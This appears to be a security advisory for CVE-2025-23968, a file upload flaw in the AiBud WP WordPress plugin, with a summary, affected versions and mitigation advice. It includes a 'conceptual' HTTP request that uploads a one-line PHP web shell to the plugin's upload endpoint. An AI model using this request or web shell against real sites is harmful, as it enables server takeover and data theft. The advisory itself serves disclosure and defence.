Overview
A critical vulnerability, CVE-2025-23968, has been discovered in the AiBud WP plugin provided by WPCenter. This vulnerability allows unrestricted upload of files with dangerous types, essentially enabling potential attackers to upload a web shell to a web server. Web shells are malicious scripts used by an attacker with the intent to escalate and maintain persistent access on an already compromised web application. The AiBud WP plugin, widely used for various website functionalities, becomes a significant attack vector, putting numerous websites at risk of compromise or data leakage.
Vulnerability Summary
CVE ID: CVE-2025-23968
Severity: Critical (9.1 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
WPCenter AiBud WP | Up to and including 1.8.5
How the Exploit Works
This vulnerability occurs due to inadequate security checks when handling file uploads in the AiBud WP plugin. By exploiting this flaw, an attacker can upload arbitrary files, including PHP scripts, to execute server-side commands and gain unauthorized access to the server’s file system. This can lead to a full system compromise, data theft, and even the launching of further attacks against other related systems.
Conceptual Example Code
Here’s a conceptual example of how the vulnerability might be exploited:
POST /wp-content/plugins/aibud-wp/upload.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--In this example, the attacker sends a POST request to the vulnerable upload endpoint of the AiBud WP plugin (`upload.php`). The request contains a multipart data payload with a PHP web shell (`shell.php`). If the request is successful, the web shell is uploaded to the server and the attacker can execute arbitrary system commands.
Mitigation Guidance
It’s strongly recommended to apply vendor patches as soon as they’re available. If a patch isn’t available or can’t be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) may help mitigate the vulnerability temporarily. However, these are not long-term solutions and the system remains at risk until the patch is applied. Security best practices also recommend regular system and application updates, rigorous input validation, and least privilege practices.